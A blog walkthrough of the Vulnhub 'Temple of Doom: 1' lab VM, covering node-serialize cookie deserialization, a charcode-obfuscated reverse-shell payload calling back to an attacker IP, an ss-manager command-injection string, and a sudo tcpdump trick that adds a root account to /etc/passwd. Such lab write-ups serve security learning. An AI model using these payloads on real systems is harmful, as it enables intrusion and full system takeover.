Temple of Doom: 1 Boot to Root VM Walkthrough


Today we’re going to thoroughly pwn the Temple of Doom: 1 VM from Vulnhub, created byΒ 0katz. This box was fun and had some swish ASCII art to boot, I learned a tonne from it and I hope that you learn something from this write up!

Let’s get to it.

Host Identification and nmap-ing

First up we check where our VM is using netdiscover (netdiscover -i INTERFACE -r

Cool, box is at

Next up we find out what ports are open on the box with the ever useful nmap –

So the box has a very limited attack surface. Just SSH on port 22 and what appears to be a Node JS web server on port 666 (D00M!)

Next we check out that port in a browser to see whether it actually is a webserver or not.

Port 666 – The Number of the Beast

Navigating to the webserver gives us a HUGELY anticlimactic “Under Construction, Come Back Later!” message.. So now we run the usual enumeration steps.

Check for robots.txt

“Cannot GET /robots.txt”

Run dirb against it

Nope. Nothing found with 4 different word lists.

Run nikto against it

Nope. Even with the “-Tuning d” flag to tell it that the remote end is a webservice!

The A-ha! Moment

In desp(acito)eration I went back to the browser and hit refresh and ‘lo and behold now there is a random error message:

SyntaxError: Unexpected token F in JSON at position 79
    at JSON.parse (<anonymous>)
    at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
    at /home/nodeadmin/.web/server.js:12:29
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)

Interesting right? The only difference between this request and the last one is that a “profile” cookie has now been set.. Let’s dig into it.

The stock cookie looks like this:



which base64 decodes to this:

{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:Friday, 13 Oct 2018 00:00:00 GMT”}

… Username admin? wut? Anyway. The error above is whinging about “unexpected token F in JSON at position 79” which happens to correspond with the “Expires” field. Maybe we could remove that equals sign and get it to work?

root@kali ~
  # echo '{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2018 00:00:00 GMT"}' | base64 -w 0                                                                     !87

After setting my new profile cookie in Firefox we’re greeted with a rather terse “Hello Admin” message. One step further anyway!

Supplying this cookie value to Nikto yielded nothing extra, ditto Dirb..

After a bit of Googling for Node app pentesting I came across this beautiful articleΒ which we discusses how dangerous “unserialize” can be.. Notice the first line in the error output above? uh-oh!


Taking the sterling example offered by the chaps above, I used the following input:

root@kali ~
  # echo '{"username":"Admin","csrftoken":"whatever","Expires":"Friday, 13 Oct 2018 00:00:00 GMT","naughtydog":"_$$ND_FUNC$$_process.exit(0)"}' | base64 -w 0                                                 !130

Which should kill the Node server. ‘lo and behold:

Completely trashed the process πŸ™‚ Now we just need to bounce the VM and weaponize the exploit.

  • First up, use this excellent script to generate a reverse JS shell using eval and charcodes:
  • Next, insert the output of that script into my profile cookie:
{"username":"Admin","csrftoken":"whatever","Expires":"Friday, 13 Oct 2018 00:00:00 GMT","naughtydog":"_$$ND_FUNC$$_eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,53,54,46,49,48,50,34,59,10,80,79,82,84,61,34,54,54,54,54,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))"}
  • Next, base64 it and set it as my cookie
  • Next start a netcat listener on port 6666 (see what I did there..)
  • Next refresh the browser
  • ???
  • Profit

And we have our basic shell πŸ™‚ *claps*

Better Shell and Privesc

First things first, get a more persistent and less flaky shell. A la meterpreter!

I’m not going to labour the point here as you can read many of my other blogs to find out how to spin up a meterpreter shell etc. What I WILL say though is that I got my meterpreter shell and executed “mkdir .ssh” from within my shell, then backgrounded the shell and ran “run post/linux/manage/sshkey_persistence” which installed a valid private key file on my box so that I can SSH to the target. This is aΒ much better form of persistence and less flaky than reverse shells etc.

Now for PrivEsc.

As always, the stuff leading up to this part was (comparitively..) easy. This was the hard part! I spent ages running the usual gamut of Unix-Privesc-Checker etc. but nothing useful popped out (there are a load of kernel exploits for the box, but GCC’s not installed and all of my attempts to cross compile failed!)

Eventually I ran “ps aux | grep -i fireman” (the other use on the box) and spotted that he’s running something called “ss-manager”, a bit of research online shows that the version installed is vulnerable to a command execution vulnerability! Wahoo this will let us escalate from nodeadmin to fireman πŸ™‚

So first things first, use the exploit to find out what fireman can run as root:

add: {"server_port":8005, "password":"test", "method":"||sudo -l > /tmp/output||"}

Which pops out with:

Matching Defaults entries for fireman on localhost:
    !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR

User fireman may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/iptables
    (ALL) NOPASSWD: /usr/bin/nmcli
    (ALL) NOPASSWD: /usr/sbin/tcpdump

All of that is interesting, but the “tcpdump” line is particularly of interest as it can be used for privesc to root..

The set up is as follows:

  • make a script in /tmp/ which simply echos a new user to the passwd file (echo “toor1:aaKNIEDOaueR6:0:0:toor:/root:/bin/bash” >> /etc/passwd)
  • Use the ss-manager vulnerability to run “add: {“server_port”:8005, “password”:”test”, “method”:”||sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root||”}

Step 1 seems to have worked, let’s check /etc/passwd to confirm:

Great, it worked. That hashed password corresponds with “foo” so let’s try and log in.

Woot! And the flag –



This was a great box. Really unique set of challenges and my first ever NodeJS pentest! As mentioned above I found the most challenging part to be the privesc, because I’m so used to going from limited user -> root, rather than limited user -> intermediate user -> root.

Cheers 0katz πŸ™‚


Add a Comment

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.